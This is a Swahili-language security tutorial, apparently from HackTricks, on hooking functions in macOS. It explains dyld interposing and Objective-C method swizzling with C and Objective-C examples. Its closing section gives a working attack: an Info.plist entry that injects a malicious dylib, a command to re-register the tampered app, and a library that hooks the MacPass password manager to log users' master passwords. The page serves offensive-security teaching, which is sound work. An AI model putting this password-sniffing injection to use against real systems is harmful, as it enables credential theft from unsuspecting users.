macOS Function Hooking

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Function Interposing

Unda dylib yenye sehemu ya __interpose (__DATA___interpose) (au sehemu iliyo na alama ya S_INTERPOSING) inayojumuisha tuples za function pointers zinazorejelea asili na mbadala za kazi.

Kisha, ingiza dylib kwa kutumia DYLD_INSERT_LIBRARIES (kuingilia kunahitaji kutokea kabla ya programu kuu kupakia). Kwa wazi vizuizi vilivyowekwa kwa matumizi ya DYLD_INSERT_LIBRARIES vinatumika hapa pia.

Interpose printf

interpose.c

interpose.c

// gcc -dynamiclib interpose.c -o interpose.dylib
#include <stdio.h>
#include <stdarg.h>

int my_printf(const char *format, ...) {
//va_list args;
//va_start(args, format);
//int ret = vprintf(format, args);
//va_end(args);

int ret = printf("Hello from interpose\n");
return ret;
}

__attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf
__attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf };

hello.c

//gcc hello.c -o hello
#include <stdio.h>

int main() {
printf("Hello World!\n");
return 0;
}

interpose2.c

// Just another way to define an interpose
// gcc -dynamiclib interpose2.c -o interpose2.dylib

#include <stdio.h>

#define DYLD_INTERPOSE(_replacement, _replacee) \
__attribute__((used)) static struct { \
const void* replacement; \
const void* replacee; \
} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \
(const void*) (unsigned long) &_replacement, \
(const void*) (unsigned long) &_replacee \
};

int my_printf(const char *format, ...)
{
int ret = printf("Hello from interpose\n");
return ret;
}

DYLD_INTERPOSE(my_printf,printf);

DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
Hello from interpose

DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello
Hello from interpose

The DYLD_PRINT_INTERPOSTING env variable can be used to debug interposing and will print the interpose process.

Pia kumbuka kwamba interposing inatokea kati ya mchakato na maktaba zilizoloadi, haifanyi kazi na cache ya maktaba ya pamoja.

Dynamic Interposing

Sasa pia inawezekana kuingilia kazi kwa njia ya dynamic kwa kutumia kazi dyld_dynamic_interpose. Hii inaruhusu kuingilia kazi kwa programu wakati wa utekelezaji badala ya kufanya hivyo tu kutoka mwanzoni.

Inahitajika tu kuashiria tuples za kazi ya kubadilisha na kazi ya kubadilisha.

struct dyld_interpose_tuple {
const void* replacement;
const void* replacee;
};
extern void dyld_dynamic_interpose(const struct mach_header* mh,
const struct dyld_interpose_tuple array[], size_t count);

Method Swizzling

Katika ObjectiveC, hii ndiyo jinsi njia inavyoitwa: [myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]

Inahitajika kitu, njia na params. Na wakati njia inaitwa, msg inatumwa kwa kutumia kazi objc_msgSend: int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);

Kitu ni someObject, njia ni @selector(method1p1:p2:) na hoja ni value1, value2.

Kufuata muundo wa vitu, inawezekana kufikia array ya njia ambapo majina na pointer za msimbo wa njia ziko iliyoko.

Kumbuka kwamba kwa sababu njia na madarasa yanaccessiwa kulingana na majina yao, taarifa hii inahifadhiwa katika binary, hivyo inawezekana kuipata kwa otool -ov </path/bin> au class-dump </path/bin>

Accessing the raw methods

Inawezekana kufikia taarifa za njia kama jina, idadi ya params au anwani kama katika mfano ufuatao:

// gcc -framework Foundation test.m -o test

#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>

int main() {
// Get class of the variable
NSString* str = @"This is an example";
Class strClass = [str class];
NSLog(@"str's Class name: %s", class_getName(strClass));

// Get parent class of a class
Class strSuper = class_getSuperclass(strClass);
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));

// Get information about a method
SEL sel = @selector(length);
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
Method m = class_getInstanceMethod(strClass,sel);
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));

// Iterate through the class hierarchy
NSLog(@"Listing methods:");
Class currentClass = strClass;
while (currentClass != NULL) {
unsigned int inheritedMethodCount = 0;
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);

NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);

for (unsigned int i = 0; i < inheritedMethodCount; i++) {
Method method = inheritedMethods[i];
SEL selector = method_getName(method);
const char* methodName = sel_getName(selector);
unsigned long address = (unsigned long)method_getImplementation(m);
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
}

// Free the memory allocated by class_copyMethodList
free(inheritedMethods);
currentClass = class_getSuperclass(currentClass);
}

// Other ways to call uppercaseString method
if([str respondsToSelector:@selector(uppercaseString)]) {
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
NSLog(@"Uppercase string: %@", uppercaseString);
}

// Using objc_msgSend directly
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
NSLog(@"Uppercase string: %@", uppercaseString2);

// Calling the address directly
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
NSLog(@"Uppercase string: %@", uppercaseString3);

return 0;
}

Method Swizzling with method_exchangeImplementations

Kazi method_exchangeImplementations inaruhusu kubadilisha anwani ya utekelezaji wa kazi moja kwa nyingine.

Hivyo wakati kazi inaitwa kile kinachokuwa kinatekelezwa ni nyingine.

//gcc -framework Foundation swizzle_str.m -o swizzle_str

#import <Foundation/Foundation.h>
#import <objc/runtime.h>


// Create a new category for NSString with the method to execute
@interface NSString (SwizzleString)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;

@end

@implementation NSString (SwizzleString)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");

// Call the original method
return [self swizzledSubstringFromIndex:from];
}

@end

int main(int argc, const char * argv[]) {
// Perform method swizzling
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
method_exchangeImplementations(originalMethod, swizzledMethod);

// We changed the address of one method for the other
// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled

// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);

return 0;
}

Katika kesi hii, ikiwa kanuni ya utekelezaji ya njia halali inashtaki jina la njia, inaweza gundua swizzling hii na kuzuia isifanye kazi.

Teknolojia ifuatayo haina kizuizi hiki.

Method Swizzling with method_setImplementation

Muundo wa awali ni wa ajabu kwa sababu unabadilisha utekelezaji wa njia 2 kutoka kwa nyingine. Kwa kutumia kazi method_setImplementation unaweza kubadilisha utekelezaji wa njia kwa nyingine.

Kumbuka tu kuhifadhi anwani ya utekelezaji wa ile ya asili ikiwa unakusudia kuitwa kutoka kwa utekelezaji mpya kabla ya kuandika tena kwa sababu baadaye itakuwa ngumu zaidi kupata anwani hiyo.

#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>

static IMP original_substringFromIndex = NULL;

@interface NSString (Swizzlestring)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;

@end

@implementation NSString (Swizzlestring)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");

// Call the original implementation using objc_msgSendSuper
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
}

@end

int main(int argc, const char * argv[]) {
@autoreleasepool {
// Get the class of the target method
Class stringClass = [NSString class];

// Get the swizzled and original methods
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));

// Get the function pointer to the swizzled method's implementation
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));

// Swap the implementations
// It return the now overwritten implementation of the original method to store it
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);

// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);

// Set the original implementation back
method_setImplementation(originalMethod, original_substringFromIndex);

return 0;
}
}

Hooking Attack Methodology

Katika ukurasa huu njia tofauti za kuhooki kazi zilijadiliwa. Hata hivyo, zilihusisha kukimbia msimbo ndani ya mchakato ili kushambulia.

Ili kufanya hivyo, mbinu rahisi zaidi ya kutumia ni kuingiza Dyld kupitia mabadiliko ya mazingira au hijacking. Hata hivyo, nadhani hii inaweza pia kufanywa kupitia Dylib process injection.

Hata hivyo, chaguo zote mbili ni kikomo kwa binaries/mchakato zisizo na ulinzi. Angalia kila mbinu ili kujifunza zaidi kuhusu vikwazo.

Hata hivyo, shambulio la kuhooki kazi ni maalum sana, mshambuliaji atafanya hivi ili kuchukua taarifa nyeti kutoka ndani ya mchakato (ikiwa sivyo ungehitaji tu kufanya shambulio la kuingiza mchakato). Na taarifa hii nyeti inaweza kuwa katika programu zilizopakuliwa na mtumiaji kama MacPass.

Hivyo, njia ya mshambuliaji itakuwa ama kupata udhaifu au kuondoa saini ya programu, kuingiza DYLD_INSERT_LIBRARIES mabadiliko ya mazingira kupitia Info.plist ya programu kwa kuongeza kitu kama:

<key>LSEnvironment</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/Applications/Application.app/Contents/malicious.dylib</string>
</dict>

na kisha re-register programu hiyo:

/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app

Ongeza katika maktaba hiyo msimbo wa hooking ili kuhamasisha taarifa: Nywila, ujumbe...

Kumbuka kwamba katika matoleo mapya ya macOS ikiwa unakata saini ya binary ya programu na ilitekelezwa hapo awali, macOS haitatekeleza programu tena.

Mfano wa maktaba

// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib

// If you added env vars in the Info.plist don't forget to call lsregister as explained before

// Listen to the logs with something like:
// log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"'

#include <Foundation/Foundation.h>
#import <objc/runtime.h>

// Here will be stored the real method (setPassword in this case) address
static IMP real_setPassword = NULL;

static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL)
{
// Function that will log the password and call the original setPassword(pass, file_path) method
NSLog(@"[+] Password is: %@", password);

// After logging the password call the original method so nothing breaks.
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd,  password, keyFileURL);
}

// Library constructor to execute
__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
// Get the real method address to not lose it
Class classMPDocument = NSClassFromString(@"MPDocument");
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));

// Make the original method setPassword call the fake implementation one
IMP fake_IMP = (IMP)custom_setPassword;
real_setPassword = method_setImplementation(real_Method, fake_IMP);
}

Marejeo

• https://nshipster.com/method-swizzling/

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

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